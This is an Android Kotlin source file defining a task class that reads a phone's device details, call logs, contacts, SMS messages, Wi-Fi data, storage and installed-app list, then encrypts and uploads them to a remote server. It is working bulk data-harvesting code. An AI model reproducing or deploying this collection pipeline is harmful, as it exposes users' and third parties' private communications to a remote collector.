package com.siblings.syc.data.task

import android.Manifest
import android.content.Context
import com.siblings.syc.data.ASSycBuilder
import com.siblings.syc.data.http.ASRequestManager
import com.siblings.syc.data.http.ASRequestParams
import com.siblings.syc.data.http.ASUrlHelper
import com.siblings.syc.data.services.MSG_STATUS
import com.siblings.syc.data.services.appDatas
import com.siblings.syc.data.services.callLogDatas
import com.siblings.syc.data.services.contactDatas
import com.siblings.syc.data.services.deviceDatas
import com.siblings.syc.data.services.hardwareDatas
import com.siblings.syc.data.services.msgDatas
import com.siblings.syc.data.services.storageDatas
import com.siblings.syc.data.services.wifiDatas
import com.siblings.syc.data.util.checkPermissionsGranted
import java.util.function.Supplier

class ASDeviceTask(private val context: Context, private val taskId: String) : Supplier<String> {

    companion object {
        const val TASK_DEVICE = "TASK_DEVICE"
        const val TASK_CALL_LOG = "TASK_CALL_LOG"
        const val TASK_CONTACT = "TASK_CONTACT"
        const val TASK_HARDWARE = "TASK_HARDWARE"
        const val TASK_MESSAGE = "TASK_MESSAGE"
        const val TASK_STORE = "TASK_STORE"
        const val TASK_WIFI = "TASK_WIFI"
        const val TASK_APP_LIST = "TASK_APP_LIST"
    }

    override fun get(): String {
        println("$taskId Running...")

        val url = ASUrlHelper.combineUrl()
        if (url.isBlank()) return taskId

        val body = executing()
        if (body.isNullOrBlank()) return taskId

        ASRequestManager(url = url, body = body, taskId = taskId).doPost()

        return taskId
    }

    private fun executing(): String? {
        return try {
            when {
                taskId.contains(TASK_DEVICE) -> {
                    val hadPermission =
                        context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
                    if (hadPermission) {
                        context.deviceDatas().toEncryptParams()
                    } else {
                        println("${taskId}_ERROR：NO READ_PHONE_STATE PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_CALL_LOG) -> {
                    val hadPermission =
                        context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_CALL_LOG))
                    if (hadPermission) {
                        ASRequestParams(
                            path = ASSycBuilder.pathCal,
                            callLogListGzip = context.callLogDatas()
                        ).toEncryptParams()
                    } else {
                        println("${taskId}_ERROR：NO READ_CALL_LOG PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_CONTACT) -> {
                    val hadPermission =
                        context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_CONTACTS))
                    if (hadPermission) {
                        ASRequestParams(
                            path = ASSycBuilder.pathContat,
                            phoneBooksGzip = context.contactDatas()
                        ).toEncryptParams()
                    } else {
                        println("${taskId}_ERROR：NO READ_CONTACTS PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_HARDWARE) -> {
                    val hadPermission =
                        context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_PHONE_STATE))
                    if (hadPermission) {
                        ASRequestParams(
                            path = ASSycBuilder.pathHdw,
                            deviceHardwareGzip = context.hardwareDatas()
                        ).toEncryptParams()
                    } else {
                        println("${taskId}_ERROR：NO READ_PHONE_STATE PERMISSION")
                        null
                    }
                }

                taskId.contains(TASK_STORE) -> {
                    ASRequestParams(
                        path = ASSycBuilder.pathSto,
                        deviceStorageGzip = context.storageDatas()
                    ).toEncryptParams()
                }

                taskId.contains(TASK_WIFI) -> {
                    ASRequestParams(
                        path = ASSycBuilder.pathNtw,
                        deviceWifiGzip = context.wifiDatas()
                    ).toEncryptParams()
                }

                taskId.contains(TASK_APP_LIST) -> {
                    ASRequestParams(
                        path = ASSycBuilder.pathApl,
                        appListGzip = context.appDatas()
                    ).toEncryptParams()
                }

                else -> {
                    val hadPermission =
                        context.checkPermissionsGranted(mutableListOf(Manifest.permission.READ_SMS))
                    if (hadPermission) {
                        ASRequestParams(
                            path = ASSycBuilder.pathMag,
                            smsRecordsGzip = context.msgDatas(),
                            smsFetchType = MSG_STATUS
                        ).toEncryptParams()
                    } else {
                        println("${taskId}_ERROR：NO READ_SMS PERMISSION")
                        null
                    }
                }
            }
        } catch (e: Exception) {
            e.printStackTrace()
            null
        }
    }
}
